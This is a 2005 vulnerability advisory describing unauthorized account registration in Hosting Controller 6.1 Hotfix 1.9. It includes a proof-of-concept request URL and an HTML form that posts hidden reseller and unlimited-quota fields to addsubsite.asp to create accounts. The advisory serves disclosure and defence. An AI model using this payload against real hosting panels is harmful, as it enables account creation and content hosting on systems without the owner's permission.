Hosting Controller Unauthorized Account Registration Vulnerability

BID:13531

Info

Hosting Controller Unauthorized Account Registration Vulnerability

Bugtraq ID: 13531
Class: Access Validation Error
CVE:
Remote: Yes
Local: No
Published: May 06 2005 12:00AM
Updated: May 06 2005 12:00AM
Credit: Discovery is credited to Mouse <[email protected]>.
Vulnerable: Hosting Controller Hosting Controller 6.1 Hotfix 1.9
Not Vulnerable:

Discussion

Hosting Controller Unauthorized Account Registration Vulnerability

Hosting Controller is reported prone to a vulnerability that allows unauthorized remote attackers to register an account.

The attacker can create a user and host content on a target computer. This issue may lead to other attacks against the computer as well.

Hosting Controller version 6.1 Hotfix 1.9 was reported to be vulnerable. It is possible that other versions are affected as well.

Exploit / POC

Hosting Controller Unauthorized Account Registration Vulnerability

An exploit is not required.

Proof of concept examples are available:
http://www.example.com/admin/hosting/addsubsite.asp?loginname=Mouse&password=123456

~~~advanced.html~~~
<FORM action="http://www.example.com/admin/hosting/addsubsite.asp" method="post">
<INPUT type="hidden" name="reseller" value="resadmin" id="reseller" >
<INPUT type="hidden" name="domaintypecheck" value="SECOND" id="Hidden1">
Domain:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<INPUT name="DomainName" value="shabgard.org" id="Hidden2"><BR>
Username:&nbsp;<INPUT name="loginname" value="Mouse" id="Hidden3"><BR>
<INPUT type="hidden" name="Quota" value="-1" id="Hidden4">
<INPUT type="hidden" name="htype" value="27" id="htype" >
<INPUT type="hidden" name="choice" value="1" id="Hidden7" >
<INPUT type="hidden" name="mailaccess" value="TRUE" id="Hidden5">
Mailserver:&nbsp;<INPUT name="MailServerType" value="IMail" id="Hidden6"><BR>
Password:&nbsp;&nbsp;<INPUT name="password" value="123456" id="Hidden8"><BR><BR>
<input type="submit" value="Make">
~~~advanced.html~~~

Solution / Fix

Hosting Controller Unauthorized Account Registration Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Hosting Controller Unauthorized Account Registration Vulnerability

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